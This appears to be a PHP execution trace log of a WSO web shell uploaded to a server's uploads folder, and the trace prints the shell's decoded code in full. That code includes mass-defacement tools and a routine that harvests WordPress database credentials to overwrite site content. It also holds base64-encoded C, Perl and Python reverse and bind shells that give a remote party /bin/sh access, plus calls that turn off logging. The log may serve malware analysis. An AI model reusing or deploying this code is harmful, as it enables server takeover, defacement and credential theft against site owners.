g6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmYnIGhlaWdodD0nMTAnPjxicj48Zm9udCBmYWNlPSdJY2VsYW5kJyBjb2xvcj0nb3JhbmdlJyAgc2l6ZT0nMycgPkluZGV4IEZpbGU6PC9mb250Pjxicj4KCQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsgYmFja2dyb3VuZC1jb2xvcjojMjAyODMyOyBjb2xvcjojZmZmZmZmICc+ICA8YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+PGgxPiBIYWNrZWQgQnkgSEV4IDxicj4gUGFraXN0YW4gWmluZGFiYWQ8L2gxPjwvY2VudGVyPiAgPC90ZXh0YXJlYT48YnI+CgkKCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogMjAwcHg7Jz48L2Zvcm0+PC9jZW50ZXI+PC9kaXY+IjsgfSAgPz4gCg==";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center> <iframe src=\'hex_tools/mas.php\' width=\'800\' height=\'450\'></iframe></a></div>";\r\n\t\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>"; \r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END \r\nfunction actionMassuser() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Title Edit</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "title.php";\r\n\t$mass_script = "PD9wSHAKZWNobyI8aHRtbD4KPGhlYWQ+CjxzdHlsZT4KaHRtbCB7Cgpjb2xvcjogd2hpdGU7Cn0KaW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPXN1Ym1pdF0gewpiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCmNvbG9yOndoaXRlOwptYXJnaW46MCAxMHB4Owpmb250LWZhbWlseTpIb21lbmFqZTsKZm9udC1zaXplOjEzcHg7CmJvcmRlcjoycHggc29saWQgIzJkMmIyYjsKfQp0ZXh0YXJlYXsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKYm9yZGVyOiAxcHggc29saWQgIzJkMmIyYjsKd2lkdGg6IDEwMCU7CmhlaWdodDogNDAwcHg7CnBhZGRpbmctbGVmdDogNXB4OwptYXJnaW46IDEwcHggYXV0bzsKZm9udC1mYW1pbHk6SG9tZW5hamU7CmNvbG9yOiAjZmZmZmZmOwpmb250LXNpemU6MTNweDsKfQo8L3N0eWxlPiI7CgplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7CiAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZnVuY3Rpb24gR3JhYlVybCgkdXJsLCR0eXBlKXsKCiAgICAgICAgJHVybEFycmF5ID0gYXJyYXkoKTsKCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICRyZWdleD0nfDxhLio/aHJlZj0iKC4qPykifCc7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHJlZ2V4LCRyZXN1bHQsJHBhcnRzKTsKICAgICAgICAkbGlua3M9JHBhcnRzWzFdOwogICAgICAgIGZvcmVhY2goJGxpbmtzIGFzICRsaW5rKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXJsQXJyYXksICRsaW5rKTsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwoKICAgICAgICBmb3JlYWNoKCR1cmxBcnJheSBhcyAkdmFsdWUpewogICAgICAgICAgICAkbG9sPSIkdXJsJHZhbHVlIjsKCQkJaWYocHJlZ19tYXRjaCgiIyR0eXBlI2lzIiwgJGxvbCkpIHsKCQkJCWVjaG8gIiRsb2xcclxuIjsKCQkJfQogICAgICAgIH0KfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmVjaG8gIjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+CkxpbmsgQ29uZmlnOiA8YnI+CjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rY29uZicgaGVpZ2h0PScxMCcgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdodHRwOi8vdXJsLmNvbS9wcHFfc3ltY29uZmlnLyc+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgbmFtZT0nZ2FzcycgdmFsdWU9J1N1Ym1pdCEhJz4KPC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnZ2FzcyddKSB7CgllY2hvICI8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnPgpMaW5rIENvbmZpZzogPGJyPgo8dGV4dGFyZWEgbmFtZT0nbGluayc+IjsKR3JhYlVybCgkX1BPU1RbJ2xpbmtjb25mJ10sJ3dvcmRwcmVzcycpOwkKZWNobyI8L3RleHRhcmVhPgoKCTxicj48ZGl2IGRhdGEtcm9sZSA9ICdmaWVsZGNvbnRhaW4nIGNsYXNzID0gJ3VpLWhpZGUtbGFiZWwnIHN0eWxlPSdmbG9hdDpsZWZ0Jz4KICAgICAgICAgICAgPGxhYmVsIGZvcj0nbmFtZSc+SUQ6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lJyBpZD0naWQnIHZhbHVlPScxJy8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gVElUTEU6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aXRsZScgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgQnkgSEV4JyAvPgogICAgICAgIDwvZGl2PgoJCSAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gUE9TVCBDT05URU5UOiA8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY29udGVudCcgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgYnkgSEV4IHwgV2UgQXJlIFBha2lzdGFuaSBIYWNrZXJzIC0sLSBGdWNrIFlvdSBBZG1pbicgLz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGRhdGEtcm9sZSA9J2ZpZWxkY29udGFpbicgY2xhc3M9ICd1aS1oaWRlLWxhYmVsJyBzdHlsZT0nZmxvYXQ6bGVmdCc+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9J3N1cm5hbWUnPiBQT1NUTkFNRTogPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bvc3RuYW1lJyBpZD0nc3VybmFtZScgdmFsdWU9J0hhY2tlZCBieSBIRXgnIC8+CiAgICAgICAgPC9kaXY+IDxicj4KCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBuYW1lPSdlZGl0dGl0bGUnIHZhbHVlPSdTdWJtaXQhISc+CjwvZm9ybT48L2NlbnRlcj4iOwp9CmlmKCRfUE9TVFsnZWRpdHRpdGxlJ10pIHsKCSAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3RpdGxlJ10pOwogICAgICAgICAgICAgICAgJGlkID0gJF9QT1NUWydpZCddOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAgICAgICAgICRwb3N0bmFtZSA9ICRfUE9TVFsnbmFtZSddOwoJCWZ1bmN0aW9uIGFudWN1cmwoJHNpdGVzKSB7CiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsKCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKCQkJCSAgY3VybF9jbG9zZSgkY2gpOwoJCQlyZXR1cm4gJGRhdGE7CgkJfQoJCSRsaW5rID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsnbGluayddKTsKCQlmb3JlYWNoKCRsaW5rIGFzICRkaXJfY29uZmlnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpZyA9IGFudWN1cmwoJGRpcl9jb25maWcpOwoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsKCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7CgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsKCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7CgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7CgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7CgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsKCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7CgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7CgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOwoJCQkJJGlkID0gJHJlc3VsdFtJRF07CgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsKCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsKCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOwoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgcG9zdF90aXRsZT0nJHRpdGxlJyxwb3N0X2NvbnRlbnQ9JyRjb250ZW50Jyxwb3N0X25hbWU9JyRwb3N0bmFtZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOwoJCQkJJHVwZGF0ZSAuPSBteXNxbF9xdWVyeSgiVVBEQVRFICRvcHRpb24gU0VUIG9wdGlvbl92YWx1ZT0nJHRpdGxlJyBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ25hbWUnIE9SIG9wdGlvbl9uYW1lPSdibG9nZGVzY3JpcHRpb24nIik7CgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsKCQkJCQllY2hvICJVUkw6IDxmb250IGNvbG9yPXdoaXRlPkVycm9yLCBJIGNhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250PiAtPiAiOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJVUkw6IDxhIGhyZWY9JyR0YXJnZXQvP3A9JGlkJyB0YXJnZXQ9J19ibGFuayc+JHRhcmdldC8/cD0kaWQ8L2E+IC0+ICI7CgkJCQl9CgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgewoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXdoaXRlPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+IjsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiPGZvbnQgY29sb3I9b3JhbmdlPkNoYW5nZWQgU3VjY2VlZC48L2ZvbnQ+PGJyPiI7CgkJCQl9CgkJCQllY2hvICI8L2Rpdj4iOwoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOwoJCQl9CgkJfQo/Pgo=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center> <iframe src=\'hex_tools/title.php\' width=\'950\' height=\'600\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($▚) && function_exists(\'action\' . $▚))\r\n\t\t$_POST[\'a\'] = $▚;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>'	/var/www/html/uploads/wso.php	5	0
3	14	0	0.012645	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	2	2	'error_log'	NULL
3	14	1	0.012665	1247048
3	14	R			''
3	15	0	0.012680	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	3	2	'log_errors'	0
3	15	1	0.012696	1247048
3	15	R			'1'
3	16	0	0.012710	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	4	2	'max_execution_time'	0
3	16	1	0.012727	1247080
3	16	R			'30'
3	17	0	0.012740	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	5	2	'output_buffering'	0
3	17	1	0.012756	1247048
3	17	R			FALSE
3	18	0	0.012769	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	6	2	'display_errors'	0
3	18	1	0.012784	1247048
3	18	R			''
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	7	$▘ = TRUE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	8	$▜ = 'UTF-8'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	9	$▚ = 'FilesMan'
3	19	0	0.012832	1246976	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	10	1	'python-requests/2.25.1'
3	19	1	0.012848	1247072
3	19	R			'ecd862b3d0595af0a0b03f511e800938'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	10	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
3	20	0	0.012878	1247040	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	11	1	'localhost'
3	20	1	0.012891	1247136
